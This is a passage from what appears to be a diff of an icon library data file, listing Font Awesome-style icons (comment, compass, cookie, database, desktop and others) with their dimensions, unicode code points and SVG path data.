11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z" ], + columns: [ 512, 512, [], "f0db", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z" ], + comment: [ 512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z" ], + "comment-alt": [ 512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z" ], + "comment-dollar": [ 512, 512, [], "f651", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z" ], + "comment-dots": [ 512, 512, [], "f4ad", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "comment-medical": [ 512, 512, [], "f7f5", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z" ], + "comment-slash": [ 640, 512, [], "f4b3", "M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z" ], + comments: [ 576, 512, [], "f086", "M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z" ], + "comments-dollar": [ 576, 512, [], "f653", "M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z" ], + "compact-disc": [ 496, 512, [], "f51f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + compass: [ 496, 512, [], "f14e", "M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z" ], + compress: [ 448, 512, [], "f066", "M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z" ], + "compress-alt": [ 448, 512, [], "f422", "M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z" ], + "compress-arrows-alt": [ 512, 512, [], "f78c", "M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z" ], + "concierge-bell": [ 512, 512, [], "f562", "M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + cookie: [ 512, 512, [], "f563", "M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "cookie-bite": [ 512, 512, [], "f564", "M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + copy: [ 448, 512, [], "f0c5", "M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z" ], + copyright: [ 512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z" ], + couch: [ 640, 512, [], "f4b8", "M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z" ], + "credit-card": [ 576, 512, [], "f09d", "M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z" ], + crop: [ 512, 512, [], "f125", "M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" ], + "crop-alt": [ 512, 512, [], "f565", "M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z" ], + cross: [ 384, 512, [], "f654", "M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" ], + crosshairs: [ 512, 512, [], "f05b", "M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z" ], + crow: [ 640, 512, [], "f520", "M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + crown: [ 640, 512, [], "f521", "M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z" ], + crutch: [ 512, 512, [], "f7f7", "M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z" ], + cube: [ 512, 512, [], "f1b2", "M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z" ], + cubes: [ 512, 512, [], "f1b3", "M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z" ], + cut: [ 448, 512, [], "f0c4", "M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z" ], + database: [ 448, 512, [], "f1c0", "M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z" ], + deaf: [ 512, 512, [], "f2a4", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z" ], + democrat: [ 640, 512, [], "f747", "M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z" ], + desktop: [ 576, 512, [], "f108", "M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z" ], + dharmachakra: [ 512, 512, [], "f655", "M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 